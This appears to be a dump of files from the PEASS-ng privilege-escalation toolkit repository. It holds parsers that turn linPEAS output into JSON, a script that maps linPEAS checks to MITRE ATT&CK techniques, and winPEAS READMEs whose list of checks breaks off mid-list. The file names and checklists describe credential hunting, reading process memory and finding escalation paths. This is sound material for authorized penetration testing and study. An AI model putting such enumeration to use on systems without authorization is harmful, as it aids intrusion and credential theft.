\"\\x1b\\[1;32m\";\r\n    \"YELLOW\" = \"\\x1b\\[1;33m\";\r\n    \"BLUE\" = \"\\x1b\\[1;34m\";\r\n    \"MAGENTA\" = \"\\x1b\\[1;95m\", \"\\x1b\\[1;35m\";\r\n    \"CYAN\" = \"\\x1b\\[1;36m\", \"\\x1b\\[1;96m\";\r\n    \"LIGHT_GREY\" = \"\\x1b\\[1;37m\";\r\n    \"DARKGREY\" = \"\\x1b\\[1;90m\";\r\n}\r\n\r\n$global:FINAL_JSON = @{}\r\n\r\n$global:C_SECTION = $FINAL_JSON\r\n$global:C_MAIN_SECTION = $FINAL_JSON\r\n$global:C_2_SECTION = $FINAL_JSON\r\n$global:C_3_SECTION = $FINAL_JSON\r\n\r\nfunction is_section {\r\n    param (\r\n        [string] $line,\r\n        [string] $pattern\r\n    )\r\n\r\n    # Checks ifa  line matches the pattern\r\n    return $line.contains($pattern)\r\n}\r\n\r\nfunction clean_colors {\r\n    param (\r\n        [string] $line\r\n    )\r\n\r\n    # Given a line, clean the colors inside of it\r\n\r\n    $line = $line -replace '\\x1b\\[[0-9;]*m',''\r\n    $line = $line.Trim()\r\n    return $line\r\n    \r\n}\r\n\r\nfunction clean_title {\r\n    param (\r\n        [string] $line\r\n    )\r\n    # Given a title, clean it\r\n    foreach($c in $TITLE_CHARS){\r\n        $line = $line.Replace($c, \"\")\r\n    }\r\n\r\n    $line = [System.Text.Encoding]::ASCII.GetString($encoding.GetBytes($line))\r\n    $line = $line.Trim()\r\n    return $line\r\n\r\n}\r\n\r\nfunction get_colors {\r\n    param (\r\n        [string] $line\r\n    )\r\n\r\n    [hashtable]$colors = @{}\r\n\r\n    $global:COLORS.GetEnumerator() | ForEach-Object {\r\n        $colors[$_.Key] = ''\r\n        foreach($reg in $_.Value){ # eq reg in regexs in py\r\n            $split_color = $line -split $reg \r\n            # Start from index 1 as the index 0 isn't colored\r\n            if($split_color -And $split_color.Length -gt 1){\r\n                $split_color = $split_color | Select-Object -Skip 1\r\n\r\n                # For each potential color, find the string before any possible color termination\r\n                foreach($potential_color_str in $split_color){\r\n                    $color_str1 = ($potential_color_str -split \"\\x1b\")[0]\r\n                    $color_str2 = ($potential_color_str -split \"\\[0m\")[0]\r\n                    $color_str = $color_str2\r\n                    if($color_str1.Length -lt $color_str2.Length){\r\n                        $color_str = $color_str1\r\n                    }\r\n                    \r\n                    if($color_str){\r\n                        $color_str = clean_colors $color_str.trim()\r\n                        # Avoid having the same color for the same string\r\n                        if($color_str){\r\n                            $colors[$_.Key] += $color_str\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n\r\n        }\r\n        if(-not $colors[$_.Key]){\r\n            $colors.Remove($_.Key)\r\n        }\r\n    }\r\n\r\n    return $colors\r\n    \r\n}\r\n\r\nfunction parse_title {\r\n    param (\r\n        [string] $line\r\n    )\r\n    # Given a title, clean it\r\n\r\n    $cleaned_title_pt = clean_title($line)\r\n    return clean_colors $cleaned_title_pt\r\n    \r\n}\r\n\r\nfunction parse_line {\r\n    param (\r\n        [string] $line\r\n    )\r\n    #Parse the given line, adding it to the FINAL_JSON structure\r\n\r\n    if( $line.Contains(\"Cron jobs\") ){\r\n        $a = 1\r\n    }\r\n\r\n    # for debug\r\n    #$line\r\n    #Start-Sleep -Milliseconds 500\r\n\r\n    if(is_section $line $TITLE1_PATTERN){\r\n        $title = parse_title $line\r\n        #New-Object System.Collections.Generic.List[System.Object]\r\n        $FINAL_JSON.add($title, @{ \"sections\" = @{}; \"lines\" = @(); \"infos\" = @() })\r\n        $global:C_MAIN_SECTION = $global:FINAL_JSON.$title\r\n        $global:C_SECTION = $global:C_MAIN_SECTION\r\n    }\r\n    elseif(is_section $line $TITLE2_PATTERN){\r\n        $title = parse_title $line\r\n        $global:C_MAIN_SECTION.'sections'.Add($title, @{ \"sections\" = @{}; \"lines\" = @(); \"infos\" = @() })\r\n        $global:C_2_SECTION = $global:C_MAIN_SECTION.'sections'.$title\r\n        $global:C_SECTION = $global:C_2_SECTION\r\n    }\r\n    elseif(is_section $line $TITLE3_PATTERN){\r\n        $title = parse_title $line\r\n        $global:C_2_SECTION.'sections'.add($title, @{ \"sections\" = @{}; \"lines\" = @(); \"infos\" = @() })\r\n        $global:C_3_SECTION = $global:C_2_SECTION.'sections'.$title\r\n        $global:C_SECTION = $global:C_3_SECTION\r\n    }\r\n    elseif(is_Section $line $INFO_PATTERN){\r\n        $title = parse_title $line\r\n        $global:C_SECTION[\"infos\"] += $title\r\n    }\r\n\r\n    #If here, then it's text\r\n    else{\r\n        #If no main section parsed yet, pass\r\n        if($global:C_SECTION -eq @{}){\r\n            return\r\n        }\r\n        $global:C_SECTION['lines'] += @{\"raw_text\" = $line; \"colors\" = get_colors $line;\"clean_text\" = clean_title(clean_colors $line)}\r\n    }\r\n}\r\n\r\nfunction main {\r\n    foreach($line in Get-Content -LiteralPath $OUTPUT_PATH){\r\n        $line = $line.Trim()\r\n        #Write-Host $line\r\n        if(-not $line -or -not (clean_colors $line)){ #Remove empty lines or lines just with colors hex\r\n            continue\r\n        }\r\n\r\n        parse_line $line\r\n    }\r\n\r\n    $FINAL_JSON | ConvertTo-Json -depth 100 | Out-File $JSON_PATH\r\n    \r\n}\r\n\r\n\r\ntry {\r\n    $OUTPUT_PATH = $(Read-Host \"Output Path\")\r\n    $JSON_PATH = $(Read-Host \"JSON Path\")\r\n}\r\ncatch {\r\n    Write-Host \"Error: Please pass the peas.out file and the path to save the json\"\r\n    exit\r\n}\r\n\r\nmain\r\n"
  },
  {
    "path": "parsers/peas2json.py",
    "content": "#!/usr/bin/env python3\n\nimport sys\nimport re\nimport json\n\n# Pattern to identify main section titles\nTITLE1_PATTERN = r\"══════════════╣\" # The size of the first pattern varies, but at least should be that large\nTITLE2_PATTERN = r\"╔══════════╣\"\nTITLE3_PATTERN = r\"══╣\"\nINFO_PATTERN = r\"╚ \"\nTITLE_CHARS = ['═', '╔', '╣', '╚']\n\n# Patterns for colors\n## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors)\nCOLORS = {\n    \"REDYELLOW\": ['\\x1b[1;31;103m'],\n    \"RED\": ['\\x1b[1;31m'],\n    \"GREEN\": ['\\x1b[1;32m'],\n    \"YELLOW\": ['\\x1b[1;33m'],\n    \"BLUE\": ['\\x1b[1;34m'],\n    \"MAGENTA\": ['\\x1b[1;95m', '\\x1b[1;35m'],\n    \"CYAN\": ['\\x1b[1;36m', '\\x1b[1;96m'],\n    \"LIGHT_GREY\": ['\\x1b[1;37m'],\n    \"DARKGREY\": ['\\x1b[1;90m'],\n}\n\n\n# Final JSON structure\nFINAL_JSON = {}\n\n#Constructing the structure\nC_SECTION = FINAL_JSON\nC_MAIN_SECTION = FINAL_JSON\nC_2_SECTION = FINAL_JSON\nC_3_SECTION = FINAL_JSON\n\n\n \n    \ndef is_section(line: str, pattern: str) -> bool:\n    \"\"\"Returns a boolean\n\n    Checks if line matches the pattern and returns True or False\n    \"\"\"\n    return line.find(pattern) > -1 \n\ndef get_colors(line: str) -> dict:\n    \"\"\"Given a line return the colored strings\"\"\"\n\n    colors = {}\n    for c,regexs in COLORS.items():\n        colors[c] = []\n        for reg in regexs:\n            split_color = line.split(reg)\n            \n            # Start from the index 1 as the index 0 isn't colored\n            if split_color and len(split_color) > 1:\n                split_color = split_color[1:]\n                \n                # For each potential color, find the string before any possible color terminatio\n                for potential_color_str in split_color:\n                    color_str1 = potential_color_str.split('\\x1b')[0]\n                    color_str2 = potential_color_str.split(\"\\[0\")[0]\n                    color_str = color_str1 if len(color_str1) < len(color_str2) else color_str2\n\n                    if color_str:\n                        color_str = clean_colors(color_str.strip())\n                        #Avoid having the same color for the same string\n                        if color_str and not any(color_str in values for values in colors.values()):\n                            colors[c].append(color_str)\n        \n        if not colors[c]:\n            del colors[c]\n    \n    return colors\n\ndef clean_title(line: str) -> str:\n    \"\"\"Given a title clean it\"\"\"\n    for c in TITLE_CHARS:\n        line = line.replace(c,\"\")\n    \n    line = line.encode(\"ascii\", \"ignore\").decode() #Remove non ascii chars\n    line = line.strip()\n    return line\n\ndef clean_colors(line: str) -> str:\n    \"\"\"Given a line clean the colors inside of it\"\"\"\n\n    for reg in re.findall(r'\\x1b\\[[^a-zA-Z]+\\dm', line):\n        line = line.replace(reg,\"\")\n    \n    line = line.replace('\\x1b',\"\").replace(\"[0m\", \"\").replace(\"[3m\", \"\") #Sometimes that byte stays\n    line = line.strip()\n    return line\n\n\ndef parse_title(line: str) -> str:\n    \"\"\" Given a title, clean it\"\"\"\n\n    return clean_colors(clean_title(line))\n\n\ndef parse_line(line: str):\n    \"\"\"Parse the given line adding it to the FINAL_JSON structure\"\"\"\n\n    global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION\n\n\n    if is_section(line, TITLE1_PATTERN):\n        title = parse_title(line)\n        FINAL_JSON[title] = { \"sections\": {}, \"lines\": [], \"infos\": [] }\n        C_MAIN_SECTION = FINAL_JSON[title]\n        C_SECTION = C_MAIN_SECTION\n    \n    elif is_section(line, TITLE2_PATTERN):\n        title = parse_title(line)\n        C_MAIN_SECTION[\"sections\"][title] = { \"sections\": {}, \"lines\": [], \"infos\": [] }\n        C_2_SECTION = C_MAIN_SECTION[\"sections\"][title]\n        C_SECTION = C_2_SECTION\n\n    elif is_section(line, TITLE3_PATTERN):\n        title = parse_title(line)\n        C_2_SECTION[\"sections\"][title] = { \"sections\": {}, \"lines\": [], \"infos\": [] }\n        C_3_SECTION = C_2_SECTION[\"sections\"][title]\n        C_SECTION = C_3_SECTION\n\n    elif is_section(line, INFO_PATTERN):\n        title = parse_title(line)\n        if C_SECTION == {}:\n            return\n        C_SECTION.setdefault(\"infos\", []).append(title)\n    \n    #If here, then it's text\n    else:\n        #If no main section parsed yet, pass\n        if C_SECTION == {}:\n            return\n\n        C_SECTION[\"lines\"].append({\n            \"raw_text\": line,\n            \"colors\": get_colors(line),\n            \"clean_text\": clean_title(clean_colors(line))\n        })\n\n\ndef parse_peass(outputpath: str, jsonpath: str = \"\"):\n    global OUTPUT_PATH, JSON_PATH, FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION\n\n    OUTPUT_PATH = outputpath\n    JSON_PATH = jsonpath\n\n    # Reset globals to avoid data leaking between executions\n    FINAL_JSON = {}\n    C_SECTION = FINAL_JSON\n    C_MAIN_SECTION = FINAL_JSON\n    C_2_SECTION = FINAL_JSON\n    C_3_SECTION = FINAL_JSON\n\n    with open(OUTPUT_PATH, 'r', encoding=\"utf8\") as f:\n        for line in f.readlines():\n            line = line.strip()\n            # Remove empty lines or lines containing only color codes\n            if not line or not clean_colors(line):\n                continue\n\n            parse_line(line)\n\n    if JSON_PATH:\n        with open(JSON_PATH, \"w\") as f:\n            json.dump(FINAL_JSON, f)\n    \n    else:\n        return FINAL_JSON\n\n\n# Start execution\nif __name__ == \"__main__\":\n    try:\n        outputpath = sys.argv[1]\n        jsonpath = sys.argv[2]\n        parse_peass(outputpath, jsonpath)\n    except IndexError as err:\n        print(\"Error: Please pass the peas.out file and the path to save the json\\npeas2json.py <output_file> <json_file.json>\")\n        sys.exit(1)\n    \n"
  },
  {
    "path": "scripts/add_mitre_tags.py",
    "content": "#!/usr/bin/env python3\n\"\"\"\nAdds # Mitre: metadata and annotates print_2title/print_3title calls\nin every LinPEAS check module with the appropriate MITRE ATT&CK technique IDs.\n\"\"\"\n\nimport os, re, sys\n\nBASE = os.path.join(os.path.dirname(__file__), \"..\", \"linPEAS\", \"builder\", \"linpeas_parts\")\n\n# Mapping: relative path from linpeas_parts → comma-separated MITRE technique IDs\nMITRE_MAP = {\n    # ─── Section 1: System Information ────────────────────────────────────────\n    \"1_system_information/1_Operative_system.sh\":        \"T1082\",\n    \"1_system_information/2_Sudo_version.sh\":            \"T1548.003,T1068\",\n    \"1_system_information/3_USBCreator.sh\":              \"T1548.003,T1068\",\n    \"1_system_information/4_Path.sh\":                    \"T1574.007\",\n    \"1_system_information/5_Date.sh\":                    \"T1082\",\n    \"1_system_information/6_CPU_info.sh\":                \"T1082\",\n    \"1_system_information/7_Mounts.sh\":                  \"T1082,T1120\",\n    \"1_system_information/8_Disks.sh\":                   \"T1082\",\n    \"1_system_information/9_Disks_extra.sh\":             \"T1082\",\n    \"1_system_information/10_Environment.sh\":            \"T1082,T1552.007\",\n    \"1_system_information/11_Dmesg.sh\":                  \"T1082\",\n    \"1_system_information/12_Macos_os_checks.sh\":        \"T1082\",\n    \"1_system_information/16_Protections.sh\":            \"T1518.001\",\n    \"1_system_information/17_Kernel_Modules.sh\":         \"T1547.006\",\n    \"1_system_information/19_Kernel_Exploit_Registry.sh\":\"T1068\",\n    # ─── Section 2: Container ─────────────────────────────────────────────────\n    \"2_container/1_Container_tools.sh\":                  \"T1613\",\n    \"2_container/2_List_mounted_tokens.sh\":              \"T1528,T1552.007\",\n    \"2_container/3_Container_details.sh\":                \"T1613,T1611\",\n    \"2_container/4_Docker_container_details.sh\":         \"T1613\",\n    \"2_container/5_Container_breakout.sh\":               \"T1611\",\n    \"2_container/7_RW_bind_mounts_nosuid.sh\":            \"T1611\",\n    # ─── Section 3: Cloud ─────────────────────────────────────────────────────\n    \"3_cloud/1_Check_if_in_cloud.sh\":                    \"T1580\",\n    \"3_cloud/2_AWS_EC2.sh\":                              \"T1552.005,T1580\",\n    \"3_cloud/3_AWS_ECS.sh\":                              \"T1552.005,T1580\",\n    \"3_cloud/4_AWS_Lambda.sh\":                           \"T1552.005,T1580\",\n    \"3_cloud/5_AWS_Codebuild.sh\":                        \"T1552.005,T1580\",\n    \"3_cloud/6_Google_cloud_function.sh\":                \"T1552.005,T1580\",\n    \"3_cloud/7_Google_cloud_vm.sh\":                      \"T1552.005,T1580\",\n    \"3_cloud/8_Azure_VM.sh\":                             \"T1552.005,T1580\",\n    \"3_cloud/9_Azure_app_service.sh\":                    \"T1552.005,T1580\",\n    \"3_cloud/10_Azure_automation_account.sh\":            \"T1552.005,T1580\",\n    \"3_cloud/11_DO_Droplet.sh\":                          \"T1552.005,T1580\",\n    \"3_cloud/13_Ali_Cloud.sh\":                           \"T1552.005,T1580\",\n    \"3_cloud/14_IBM_Cloud.sh\":                           \"T1552.005,T1580\",\n    \"3_cloud/15_Tencent_Cloud.sh\":                       \"T1552.005,T1580\",\n    # ─── Section 4: Processes / Crons / Timers / Services / Sockets ───────────\n    \"4_procs_crons_timers_srvcs_sockets/1_List_processes.sh\":              \"T1057\",\n    \"4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh\":      \"T1003.007\",\n    \"4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh\":      \"T1574,T1554\",\n    \"4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh\":\"T1134.004\",\n    \"4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh\":\"T1083\",\n    \"4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh\":        \"T1057\",\n    \"4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh\":                   \"T1053.003\",\n    \"4_procs_crons_timers_srvcs_sockets/8_Macos_launch_agents_daemons.sh\": \"T1543.001\",\n    \"4_procs_crons_timers_srvcs_sockets/9_System_timers.sh\":               \"T1053.003\",\n    \"4_procs_crons_timers_srvcs_sockets/10_Services.sh\":                   \"T1543.002,T1007\",\n    \"4_procs_crons_timers_srvcs_sockets/11_Systemd.sh\":                    \"T1543.002\",\n    \"4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh\":               \"T1559\",\n    \"4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh\":     \"T1571,T1049\",\n    \"4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh\":              \"T1559.001\",\n    \"4_procs_crons_timers_srvcs_sockets/15_Rcommands_trust.sh\":            \"T1021.004\",\n    \"4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh\":       \"T1053.003\",\n    \"4_procs_crons_timers_srvcs_sockets/17_Deleted_open_files.sh\":         \"T1083\",\n    # ─── Section 5: Network Information ───────────────────────────────────────\n    \"5_network_information/1_Network_interfaces.sh\":     \"T1016\",\n    \"5_network_information/2_Hostname_hosts_dns.sh\":     \"T1016,T1018\",\n    \"5_network_information/3_Network_neighbours.sh\":     \"T1018,T1040\",\n    \"5_network_information/4_Open_ports.sh\":             \"T1049\",\n    \"5_network_information/5_Macos_network_capabilities.sh\":\"T1016\",\n    \"5_network_information/6_Macos_network_services.sh\": \"T1016\",\n    \"5_network_information/7_Tcpdump.sh\":                \"T1040\",\n    \"5_network_information/8_Iptables.sh\":               \"T1016\",\n    \"5_network_information/9_Inetdconf.sh\":              \"T1049\",\n    \"5_network_information/10_Macos_hardware_ports.sh\":  \"T1016\",\n    \"5_network_information/11_Internet_access.sh\":       \"T1016,T1590\",\n    # ─── Section 6: Users Information ─────────────────────────────────────────\n    \"6_users_information/1_My_user.sh\":                  \"T1033\",\n    \"6_users_information/1_Macos_my_user_hooks.sh\":      \"T1033,T1543.001\",\n    \"6_users_information/2_Macos_user_hooks.sh\":         \"T1543.001\",\n    \"6_users_information/3_Macos_keychains.sh\":          \"T1555.001\",\n    \"6_users_information/4_Macos_systemkey.sh\":          \"T1555.001\",\n    \"6_users_information/5_Pgp_keys.sh\":                 \"T1552.004\",\n    \"6_users_information/6_Clipboard_highlighted_text.sh\":\"T1115\",\n    \"6_users_information/7_Sudo_l.sh\":                   \"T1548.003\",\n    \"6_users_information/8_Sudo_tokens.sh\":              \"T1548.003\",\n    \"6_users_information/9_Doas.sh\":                     \"T1548.003\",\n    \"6_users_information/10_Pkexec.sh\":                  \"T1548.003,T1548.004,T1068\",\n    \"6_users_information/11_Superusers.sh\":              \"T1087.001\",\n    \"6_users_information/12_Users_with_console.sh\":      \"T1087.001\",\n    \"6_users_information/13_Users_groups.sh\":            \"T1087.001,T1069.001\",\n    \"6_users_information/14_Login_now.sh\":               \"T1033\",\n    \"6_users_information/15_Last_logons.sh\":             \"T1033\",\n    \"6_users_information/17_Password_policy.sh\":         \"T1201\",\n    \"6_users_information/18_Brute_su.sh\":                \"T1110.001\",\n    # ─── Section 7: Software Information ──────────────────────────────────────\n    \"7_software_information/1_Useful_software.sh\":       \"T1082\",\n    \"7_software_information/2_Compilers.sh\":             \"T1587.001\",\n    \"7_software_information/3_Macos_writable_installed_apps.sh\":\"T1574\",\n    \"7_software_information/Apache_nginx.sh\":            \"T1552.001\",\n    \"7_software_information/Awsvault.sh\":                \"T1552.005\",\n    \"7_software_information/Browser_profiles.sh\":        \"T1539,T1217\",\n    \"7_software_information/Cached_AD_hashes.sh\":        \"T1003.003\",\n    \"7_software_information/Containerd.sh\":              \"T1613\",\n    \"7_software_information/Docker.sh\":                  \"T1613\",\n    \"7_software_information/Dovecot.sh\":                 \"T1552.001\",\n    \"7_software_information/Extra_software.sh\":          \"T1082\",\n    \"7_software_information/FreeIPA.sh\":                 \"T1552.001\",\n    \"7_software_information/Gitlab.sh\":                  \"T1552.001\",\n    \"7_software_information/Kcpassword.sh\":              \"T1555.001\",\n    \"7_software_information/Kerberos.sh\":                \"T1558.003\",\n    \"7_software_information/Log4shell.sh\":               \"T1190\",\n    \"7_software_information/Logstash.sh\":                \"T1552.001\",\n    \"7_software_information/Mysql.sh\":                   \"T1552.001\",\n    \"7_software_information/PGP_GPG.sh\":                 \"T1552.004\",\n    \"7_software_information/PHP_Sessions.sh\":            \"T1552.001\",\n    \"7_software_information/Pamd.sh\":                    \"T1556.003\",\n    \"7_software_information/Postgresql.sh\":              \"T1552.001\",\n    \"7_software_information/Postgresql_Event_Triggers.sh\":\"T1505.001\",\n    \"7_software_information/Runc.sh\":                    \"T1613,T1611\",\n    \"7_software_information/SKey.sh\":                    \"T1556\",\n    \"7_software_information/Screen_sessions.sh\":         \"T1563\",\n    \"7_software_information/Splunk.sh\":                  \"T1552.001\",\n    \"7_software_information/Ssh.sh\":                     \"T1552.004,T1021.004\",\n    \"7_software_information/Tmux.sh\":                    \"T1563\",\n    \"7_software_information/Vault_ssh.sh\":               \"T1552.004\",\n    \"7_software_information/YubiKey.sh\":                 \"T1556\",\n    # ─── Section 8: Interesting Permissions / Files ────────────────────────────\n    \"8_interesting_perms_files/1_SUID.sh\":               \"T1548.001\",\n    \"8_interesting_perms_files/2_SGID.sh\":               \"T1548.001\",\n    \"8_interesting_perms_files/3_Files_ACLs.sh\":         \"T1222\",\n    \"8_interesting_perms_files/4_Capabilities.sh\":       \"T1548.001\",\n    \"8_interesting_perms_files/5_Users_with_capabilities.sh\":\"T1548.001\",\n    \"8_interesting_perms_files/6_Misconfigured_ldso.sh\": \"T1574.006\",\n    \"8_interesting_perms_files/7_Files_etc_profile_d.sh\":\"T1546.004\",\n    \"8_interesting_perms_files/8_Files_etc_init_d.sh\":   \"T1543.002\",\n    \"8_interesting_perms_files/9_App_armour_profiles.sh\":\"T1518.001\",\n    \"8_interesting_perms_files/10_Read_creds_files.sh\":  \"T1552.001\",\n    \"8_interesting_perms_files/11_Root_files_home_dir.sh\":\"T1083\",\n    \"8_interesting_perms_files/12_Others_files_in_my_dirs.sh\":\"T1083\",\n    \"8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh\":\"T1083\",\n    \"8_interesting_perms_files/14_Writable_files_owner_all.sh\":\"T1574.009,T1574.010\",\n    \"8_interesting_perms_files/15_Writable_files_group.sh\":\"T1574.009,T1574.010\",\n    \"8_interesting_perms_files/16_IGEL_OS_SUID.sh\":      \"T1548.001\",\n    \"8_interesting_perms_files/16_Writable_root_execs.sh\":\"T1574.009,T1574.010\",\n    # ─── Section 9: Interesting Files ─────────────────────────────────────────\n    \"9_interesting_files/1_Sh_files_in_PATH.sh\":         \"T1574.007\",\n    \"9_interesting_files/2_Date_in_firmware.sh\":         \"T1082\",\n    \"9_interesting_files/3_Executable_files_by_user.sh\": \"T1083\",\n    \"9_interesting_files/4_Macos_unsigned_apps.sh\":      \"T1204.002\",\n    \"9_interesting_files/5_Unexpected_in_opt.sh\":        \"T1083\",\n    \"9_interesting_files/6_Unexpected_in_root.sh\":       \"T1083\",\n    \"9_interesting_files/7_Modified_last_5mins.sh\":      \"T1083\",\n    \"9_interesting_files/8_Writable_log_files.sh\":       \"T1070.002\",\n    \"9_interesting_files/9_My_home.sh\":                  \"T1083\",\n    \"9_interesting_files/10_Others_homes.sh\":            \"T1552.001\",\n    \"9_interesting_files/11_Mail_apps.sh\":               \"T1114.001\",\n    \"9_interesting_files/12_Mails.sh\":                   \"T1114.001\",\n    \"9_interesting_files/13_Backup_folders.sh\":          \"T1552.001\",\n    \"9_interesting_files/14_Backup_files.sh\":            \"T1552.001\",\n    \"9_interesting_files/15_Db_files.sh\":                \"T1005\",\n    \"9_interesting_files/16_Macos_downloaded_files.sh\":  \"T1005\",\n    \"9_interesting_files/17_Web_files.sh\":               \"T1005\",\n    \"9_interesting_files/18_Hidden_files.sh\":            \"T1564.001\",\n    \"9_interesting_files/19_Readable_files_tmp_backups.sh\":\"T1552.001\",\n    \"9_interesting_files/20_Passwords_history_cmd.sh\":   \"T1552.001\",\n    \"9_interesting_files/21_Passwords_history_files.sh\": \"T1552.001\",\n    \"9_interesting_files/22_Passwords_php_files.sh\":     \"T1552.001\",\n    \"9_interesting_files/23_Passwords_files_home.sh\":    \"T1552.001\",\n    \"9_interesting_files/24_Passwords_TTY.sh\":           \"T1552.001\",\n    \"9_interesting_files/25_IPs_logs.sh\":                \"T1083\",\n    \"9_interesting_files/26_Mails_addr_inside_logs.sh\":  \"T1114.001\",\n    \"9_interesting_files/27_Passwords_in_logs.sh\":       \"T1552.001\",\n    \"9_interesting_files/28_Files_with_passwords.sh\":    \"T1552.001\",\n    \"9_interesting_files/29_Interesting_environment_variables.sh\": \"T1552.007,T1082\",\n    # ─── Section 10: API Keys Regex ───────────────────────────────────────────\n    \"10_api_keys_regex/regexes.sh\":                      \"T1552.001,T1528\",\n}\n\nVERSION_RE = re.compile(r'^(# Version:.*)', re.MULTILINE)\nPRINT2_RE  = re.compile(r'''(print_2title\\s+\"[^\"]*\")(\\s*)$''', re.MULTILINE)\nPRINT3_RE  = re.compile(r'''(print_3title\\s+\"[^\"]*\")(\\s*)$''', re.MULTILINE)\n\nchanged = 0\nskipped = 0\n\nfor rel_path, mitre_ids in MITRE_MAP.items():\n    abs_path = os.path.normpath(os.path.join(BASE, rel_path))\n    if not os.path.isfile(abs_path):\n        print(f\"  SKIP (not found): {rel_path}\")\n        skipped += 1\n        continue\n\n    with open(abs_path, \"r\", encoding=\"utf-8\") as f:\n        original_text = f.read()\n\n    text = original_text\n\n    # 1. Insert # Mitre: after # Version: if missing, otherwise refresh the existing tag.\n    if \"# Mitre:\" not in text:\n        text = VERSION_RE.sub(rf'\\1\\n# Mitre: {mitre_ids}', text, count=1)\n    else:\n        text = re.sub(r'^# Mitre:.*$', f'# Mitre: {mitre_ids}', text, count=1, flags=re.MULTILINE)\n\n    # 2. Annotate print_2title calls that don't already have a 2nd argument\n    def add_mitre_to_title2(m):\n        call = m.group(1)\n        # Skip if already has a 2nd quoted arg after the first\n        full_line = m.group(0)\n        if re.search(r'print_2title\\s+\"[^\"]*\"\\s+\"', full_line):\n            return full_line\n        return call + f' \"{mitre_ids}\"'\n\n    text = PRINT2_RE.sub(add_mitre_to_title2, text)\n\n    # 3. Annotate print_3title calls similarly\n    def add_mitre_to_title3(m):\n        call = m.group(1)\n        full_line = m.group(0)\n        if re.search(r'print_3title\\s+\"[^\"]*\"\\s+\"', full_line):\n            return full_line\n        return call + f' \"{mitre_ids}\"'\n\n    text = PRINT3_RE.sub(add_mitre_to_title3, text)\n\n    if text != original_text:\n        with open(abs_path, \"w\", encoding=\"utf-8\") as f:\n            f.write(text)\n        changed += 1\n\nprint(f\"\\nDone: {changed} files updated, {skipped} skipped.\")\n"
  },
  {
    "path": "winPEAS/README.md",
    "content": "# Windows Privilege Escalation Awesome Scripts\n\n![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png)\n\nCheck the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)**\n\nCheck more **information about how to exploit** found misconfigurations in **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)**\n\n## Quick Start\nFind the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**.\n\n## WinPEAS Flavours\n- [Link to WinPEAS C# .exe project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)\n    - **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**\n- [Link to WinPEAS .ps1 project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASps1)\n- [Link to WinPEAS .bat project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASbat) \n\n\n## PEASS Style\n\nAre you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas\n\n## Advisory\n\nAll the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.\n"
  },
  {
    "path": "winPEAS/winPEASbat/.gitattributes",
    "content": "# Ensure that winPEAS.bat has windows style line endings\nwinPEAS.bat text eol=crlf\n"
  },
  {
    "path": "winPEAS/winPEASbat/README.md",
    "content": "# Windows Privilege Escalation Awesome Script (.bat)\n\n![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png)\n\n**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)**\n\nCheck also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)\n\n### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)\n\nUnfortunately this script **does not support colors** so you will need to know what are you looking for in each test and, also, you will have to know how to learn the icacls output, see below.\n\n## Windows PE using CMD (.bat)\n\nIf you want to search for files and registry that could contain passwords, set to *yes* the *long* variable at the beginning of the script.\n\nThe script will use acceschk.exe if it is available (with that name). But it is not necessary, it also uses wmic + icacls.\n\nSome of the tests in this script were extracted from **[here](https://github.com/enjoiz/Privesc/blob/master/privesc.bat)** and from **[here](https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)**\n\n\n### Main checks\n\n<details>\n  <summary>Details</summary>\n\n- [x] Systeminfo --SO version and patches-- (windows suggester)\n- [x] Common known exploits (2K, XP, 2K3, 2K8, Vista, 7)\n- [x] Audit Settings\n- [x] WEF Settings\n- [x] LAPS installed?\n- [x] LSA protection?\n- [x] Credential Guard?\n- [x] WDigest?\n- [x] Number of cached cred\n- [x] UAC Settings\n- [x] AV?\n- [x] PS Settings\n- [x] Mounted disks\n- [x] SCCM installed?\n- [x] Remote Desktop Credentials Manager?\n- [x] WSUS Settings\n- [x] Processes list\n- [x] Interesting file permissions of binaries being executed \n- [x] Interesting file permissions of binaries run at startup\n- [x] AlwaysInstallElevated?\n- [x] Network info (see below)\n- [x] Users info (see below)\n- [x] Current user privileges \n- [x] Service binary permissions \n- [x] Check if permissions to modify any service registy\n- [x] Unquoted Service paths  \n- [x] DLL Hijacking in PATH\n- [x] Windows Vault\n- [x] DPAPI Master Keys\n- [x] 